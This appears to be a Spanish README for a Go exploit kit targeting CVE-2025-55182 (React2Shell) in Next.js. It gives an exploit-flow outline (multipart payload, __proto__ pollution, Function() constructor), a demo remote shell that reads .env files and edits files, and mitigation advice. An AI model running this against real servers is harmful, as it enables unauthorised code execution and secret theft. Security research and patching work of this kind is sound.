CVE-2025-55182 (React2Shell) Kit de explotación

🎯 Demostración completa y funcional del exploit

Este proyecto ofrece una demostración totalmente funcional de CVE-2025-55182 (React2Shell), una vulnerabilidad crítica de ejecución remota de código en React Server Components y Next.js.

Estado: ✅ FUNCIONANDO - Logra ejecución real de comandos en servidores vulnerables

🚀 Qué incluye

Binario de exploit funcional

• Lenguaje: Go 1.25.5
• Binario: CVE-2025-55182 (ejecutable compilado de 7.8MB)
• Capacidades:
  • Shell RCE interactiva en servidores Next.js vulnerables
  • Operaciones de archivo integradas (cat, vi, touch, echo, rm)
  • Ejecución de comandos con análisis de salida
  • Lectura, escritura y edición de archivos

Servidor de prueba vulnerable

• Next.js: 15.0.1 (deliberadamente vulnerable)
• React: 19.0.0 (deliberadamente vulnerable)
• Server Actions: Habilitadas
• Puerto: http://localhost:3001

🎥 Demo

📥 Descargar video de demostración (5.6MB) - Haz clic para descargar y ver el exploit en acción

Lo que muestra la demo:

• Iniciar el servidor Next.js vulnerable
• Ejecutar el exploit CVE-2025-55182
• Shell interactiva con ejecución de comandos
• Operaciones de archivo (cat, vi, touch, rm)
• Lectura de archivos sensibles (package.json, .env)

✨ Inicio rápido

1. Iniciar el servidor vulnerable

cd exploited-server
npm run dev
# Server starts on http://localhost:3001

2. Ejecutar el exploit

cd /Users/subh/Desktop/code-playground/react-2-shell-demo
./CVE-2025-55182

# When prompted:
Target: localhost:3001

3. Ejecutar comandos

Comandos básicos:

subh@rce $ whoami
subh@rce $ pwd
subh@rce $ ls -la
subh@rce $ hostname

Operaciones de archivo:

subh@rce $ touch hello.txt
[+] Created: hello.txt

subh@rce $ vi hello.txt
[i] Enter new content (type 'EOF' on a line by itself to finish):
Hello World!
EOF
[+] File saved: hello.txt

subh@rce $ cat hello.txt
Hello World!

subh@rce $ echo "New content" > hello.txt
[+] File written

subh@rce $ rm hello.txt
[+] Removed: hello.txt

Información del sistema:

subh@rce $ cat package.json
subh@rce $ node --version
subh@rce $ npm --version
subh@rce $ ps aux

Salir:

subh@rce $ exit

📋 Detalles de CVE-2025-55182

• ID de CVE: CVE-2025-55182
• Nombre: React2Shell
• Puntuación CVSS: 10.0 (Crítico)
• Tipo: Ejecución remota de código sin autenticación
• Vector de ataque: Red
• Afectados: React 19.0.0-19.2.0, Next.js 15.x-16.x con Server Actions

🎓 Valor educativo

Este proyecto demuestra:

✅ Explotación real - RCE funcional real en sistemas vulnerables
✅ Investigación de seguridad - Comprensión de vulnerabilidades en frameworks web modernos
✅ Desarrollo en Go - Compilación y uso de herramientas de seguridad
✅ Análisis de vulnerabilidades - Investigación de CVEs y técnicas de explotación
✅ Divulgación responsable - Prácticas éticas de pruebas de seguridad

🏗️ Estructura del proyecto

react-2-shell-demo/
├── CVE-2025-55182           # Compiled Go exploit binary
├── main.go                  # Go source code
├── exploited-server/        # Vulnerable Next.js app
│   ├── app/
│   │   ├── actions.ts       # Server Actions (vulnerable)
│   │   └── page.tsx         # Warning UI
│   └── package.json         # Next 15.0.1, React 19.0.0
└── *.md                     # Documentation

🎯 Cómo funciona

La vulnerabilidad

CVE-2025-55182 explota una deserialización insegura en React Server Components:

1. Vector de ataque: HTTP POST malicioso con payloads multipart manipulados
2. Explotación: Polución de prototipos mediante __proto__
3. Disparador: Chunks falsos que invocan el constructor Function()
4. Resultado: Ejecución de código arbitrario en el contexto de Node.js

El flujo del exploit

1. Craft multipart payload with malicious chunks
2. Send to Next.js Server Actions endpoint
3. Trigger prototype pollution via __proto__:then
4. Invoke Function() constructor with command
5. Execute code and return output via redirect
6. Parse result from X-Action-Redirect header

⚠️ Advertencia de seguridad

AVISOS CRÍTICOS:

• ⛔ El servidor vulnerable es INTENCIONAL - No exponer a internet
• ⛔ Úsalo SOLO para pruebas autorizadas - Ilegal sin permiso
• ⛔ Fines educativos - Investigación y aprendizaje en seguridad
• ⛔ Uso ético requerido - Sigue la divulgación responsable

📚 Documentación

• README.md - Este archivo
• GO_EXPLOIT_USAGE.md - Uso detallado del exploit
• VULNERABLE_SERVER.md - Guía de configuración del servidor
• EXPLOITATION_GUIDE.md - Análisis técnico en profundidad
• USAGE.md - Ejemplos de uso y comandos

🔧 Requisitos

• Go: 1.25+ (para compilar desde el código fuente)
• Node.js: 18+ (para ejecutar el servidor vulnerable)
• npm: Última versión
• SO: macOS, Linux o Windows

🎯 Flujo de trabajo de pruebas

1. ✅ Configurar el servidor vulnerable (npm run dev en exploited-server)
2. ✅ Ejecutar el binario del exploit (./CVE-2025-55182)
3. ✅ Ingresar el objetivo (localhost:3001)
4. ✅ Obtener shell interactiva (subh@rce $)
5. ✅ Ejecutar comandos (whoami, ls, cat, etc.)
6. ✅ Salir al terminar (comando exit)

🌟 Logros clave

Este proyecto demuestra con éxito:

• ✅ Exploit RCE funcional contra CVE-2025-55182
• ✅ Shell de comandos interactiva en servidores vulnerables
• ✅ Flujo de explotación completo desde la configuración hasta la ejecución
• ✅ Investigación educativa en seguridad con herramientas reales
• ✅ Pruebas responsables de vulnerabilidades en un entorno controlado

🛡️ Mitigación

Para sistemas de producción:

1. Actualiza inmediatamente a las versiones parcheadas:

   • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+
   • React: 19.0.1+, 19.1.2+, 19.2.1+

2. Rota los secretos si estuvieron expuestos antes del 4 de diciembre de 2025

3. Supervisa los registros para detectar actividad sospechosa de Server Actions

4. Audita las aplicaciones que usan Server Components

📖 Aprende más

• Registro oficial de CVE-2025-55182
• Aviso de seguridad de Next.js
• Investigación de Wiz: React2Shell

👨‍💻 Autor

@subhdotsol - Con fines educativos y de investigación en seguridad

📜 Licencia

Este código es solo para fines educativos y pruebas de seguridad autorizadas.

Recuerda: Obtén siempre la autorización adecuada antes de probar. ¡Usa con responsabilidad! 🔒